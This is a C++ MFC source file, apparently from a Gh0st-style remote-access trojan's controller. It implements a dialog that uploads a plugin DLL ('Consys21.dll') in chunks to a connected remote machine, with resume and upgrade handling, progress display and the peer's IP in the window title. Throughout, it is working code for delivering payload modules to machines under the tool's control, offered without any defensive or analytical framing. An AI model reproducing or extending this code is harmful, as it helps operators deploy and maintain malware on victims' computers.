2024-06-23 17:36:53 +08:00

360 lines
9.4 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// DllDlg.cpp : implementation file
//
#include "stdafx.h"
#include "DHL_yk.h"
#include "DllDlg.h"
#include "MainFrm.h"
#include "PcView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
HINSTANCE hdll;
HANDLE hDllFile;
void* MemDll;
int SizeDll;
DWORD BytesRead;
__int64 Bf_nCounter = 0;// 备份计数器 由于比较用
LONG Bf_dwOffsetHigh = 0;
LONG Bf_dwOffsetLow = 0;
/////////////////////////////////////////////////////////////////////////////
CString strFilePath = "Consys21.dll"; //功能插件文件名称
enum
{
COMMAND_FILE_DLLSIZE = 1, // DLL上传时的文件大小
COMMAND_FILE_DLLDATA, // DLL上传时的文件数据
COMMAND_FILE_DLLTODOWNLOAD, // 重新下载DLL数据
TOKEN_DLLDATA_CONTINUE, // DLL继续传输数据
TOKEN_DLLDATA_SIZE // 返回DLL控件文件大小
};
CDllDlg::CDllDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CDllDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CDllDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
m_iocpServer = pIOCPServer;
m_pContext = pContext;
ModifyStyleEx( WS_EX_APPWINDOW, 0 );
char strSelf[MAX_PATH];
//获取程序自身完整路径名称
GetModuleFileName(NULL, strSelf, sizeof(strSelf));
m_strOperatingPath = strSelf;
//连接插件途径
m_strOperatingPath.Format("%s\\Control\\", m_strOperatingPath.Mid(0,m_strOperatingPath.ReverseFind('\\')));
m_strOperatingFile = m_strOperatingPath + strFilePath;
}
void CDllDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CDllDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
DDX_Control(pDX, IDC_DLLDLG_PROGRESS, m_dlldlg_progress);
//}}AFX_DATA_MAP
}
void CDllDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_DLLDATA_CONTINUE: //发送文件数据
SendFileData();
break;
case TOKEN_DLLDATA_SIZE: //重新发送文件数据
{
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
DWORD DLLType = (m_pContext->m_DeCompressionBuffer.GetBuffer(1)[8]);
ShowProgress(); //进度显示
CString strdigs;
strdigs.Format("服务端已经存在功能插件,数据为 %dKB\n请选择操作类型... ",(int)(m_nCounter / 1024));
SetDlgItemText(IDC_DLLINUSE_NEWS,strdigs); //
GetDlgItem(IDC_DLLDATA_CONT)->EnableWindow(TRUE);
GetDlgItem(IDC_DLLDATA_AGAIN)->EnableWindow(TRUE);
if(DLLType == COMMAND_DLL_CONTINUE) //控件续传
{
if(m_nOperatingFileLength == m_nCounter) //文件大小相等 退出
OnDllClose();
else
OnDllDataAgain(); //重新上传
}
else if(DLLType == COMMAND_DLL_UPGRADE) //控件升级
{
OnDllDataAgain();
}
break;
}
default:
// 传输发生异常数据
break;
}
}
BEGIN_MESSAGE_MAP(CDllDlg, CDialog)
//{{AFX_MSG_MAP(CDllDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_DLLCLOSE, OnDllClose)
ON_BN_CLICKED(IDC_DLLDATA_AGAIN,OnDllDataAgain)
ON_BN_CLICKED(IDC_DLLDATA_CONT,OnDllDataCont)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CDllDlg message handlers
BOOL CDllDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// HICON m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICOS1));
// SetIcon(m_hIcon, TRUE); // Set big icon
// SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
str.Format("\\\\%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);
m_dlldlg_progress.SetRange(0, 100);
m_dlldlg_progress.SetPos(0);
m_bIsStop=false;
SendUploadJob(strFilePath); //上传插件 发送文件长度
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CDllDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
int my_memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
#define MAX_CONFIG_LEN 1024
LPCTSTR FindConfigString(char *strFileName, LPCTSTR lpString)
{
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
int offset = my_memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
else
{
return lpConfigString + offset;
}
}
void CDllDlg::OnShowWindow(BOOL bShow, UINT nStatus)
{
CDialog::OnShowWindow(bShow, nStatus);
}
void CDllDlg::SendFileData()
{
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
LONG dwOffsetHigh = pFileSize->dwSizeHigh ;
LONG dwOffsetLow = pFileSize->dwSizeLow;
m_nCounter = MAKEINT64(dwOffsetLow, dwOffsetHigh);
if(m_nCounter<0) //数据出错 返回上传传送数据
{
m_nCounter = Bf_nCounter;
dwOffsetHigh = Bf_dwOffsetHigh;
dwOffsetLow = Bf_dwOffsetLow;
}
else
{
Bf_nCounter = m_nCounter;
Bf_dwOffsetHigh = dwOffsetHigh;
Bf_dwOffsetLow = dwOffsetLow;
}
ShowProgress(); //进度显示
if (m_nCounter == m_nOperatingFileLength || dwOffsetLow == -1 || m_bIsStop)
{
EndLocalUploadFile(); //文件下载完成 关闭窗口
return;
}
HANDLE hFile;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
return;
}
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小为固定的9
DWORD nNumberOfBytesToRead = MAX_RSEND_DATA - nHeadLength;
DWORD nNumberOfBytesRead = 0;
BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_RSEND_DATA);
// Token, 大小,偏移,数据
lpBuffer[0] = COMMAND_FILE_DLLDATA;
memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow));
// 返回值
bool bRet = true;
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
CloseHandle(hFile);
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize, NULL);
}
LocalFree(lpBuffer);
}
void CDllDlg::ShowProgress()
{
if ((int)m_nCounter == -1)
{
m_nCounter = m_nOperatingFileLength;
}
int progress = (int)((float)(m_nCounter * 100) / m_nOperatingFileLength);
m_dlldlg_progress.SetPos(progress);
CString strdig;
strdig.Format("%d%%",progress);
SetDlgItemText(IDC_DLLDLG_PROGREBT,strdig); //
strdig.Format("%dKB",(int)(m_nCounter / 1024));
SetDlgItemText(IDC_DLLDLG_REMOTE,strdig); //
}
//文件下载完成 关闭窗口
void CDllDlg::EndLocalUploadFile()
{
Sleep(500);
::SendMessage(m_hWnd,WM_CLOSE,0,0);
return;
}
//发送文件大小
BOOL CDllDlg::SendUploadJob(CString m_FilePats)
{
DWORD dwSizeHigh = NULL;
DWORD dwSizeLow = NULL;
// 1 字节token, 8字节大小, 文件名称, '\0'
HANDLE hFile;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
char Path[MAX_PATH];
sprintf(Path, "本地控件 %s 未找到,无法上传插件!! ", m_FilePats);
MessageBox(Path,"提示!!", MB_OK | MB_ICONWARNING);
::SendMessage(m_hWnd,WM_CLOSE,0,0);
return FALSE;
}
unsigned long stspp = MAXDWORD;
dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
m_nOperatingFileLength = (dwSizeHigh * (stspp+1)) + dwSizeLow;
CloseHandle(hFile);
CString strdig;
strdig.Format("%dKB",(int)(m_nOperatingFileLength / 1024));
SetDlgItemText(IDC_DLLDLG_LOCAL,strdig); //
// 构造数据包,发送文件长度
int nPacketSize = 9;//fileRemote.GetLength() + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = COMMAND_FILE_DLLSIZE;
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, bPacket, nPacketSize, NULL);
LocalFree(bPacket);
return TRUE;
}
void CDllDlg::OnDllClose()
{
// TODO: Add your control notification handler code here
OnClose();
OnOK();
}
//数据重新上传
void CDllDlg::OnDllDataAgain()
{
CString strdigs = "服务端功能插件,重新上传中... ";
SetDlgItemText(IDC_DLLINUSE_NEWS,strdigs); //
GetDlgItem(IDC_DLLDATA_CONT)->EnableWindow(NULL);
GetDlgItem(IDC_DLLDATA_AGAIN)->EnableWindow(NULL);
BYTE lpBuffer = COMMAND_FILE_DLLTODOWNLOAD;
m_iocpServer->Send(m_pContext, &lpBuffer, 1, NULL);
}
//数据继续上传
void CDllDlg::OnDllDataCont()
{
CString strdigs = "服务端功能插件,继续上传中... ";
SetDlgItemText(IDC_DLLINUSE_NEWS,strdigs); //
GetDlgItem(IDC_DLLDATA_CONT)->EnableWindow(NULL);
GetDlgItem(IDC_DLLDATA_AGAIN)->EnableWindow(NULL);
SendFileData();
}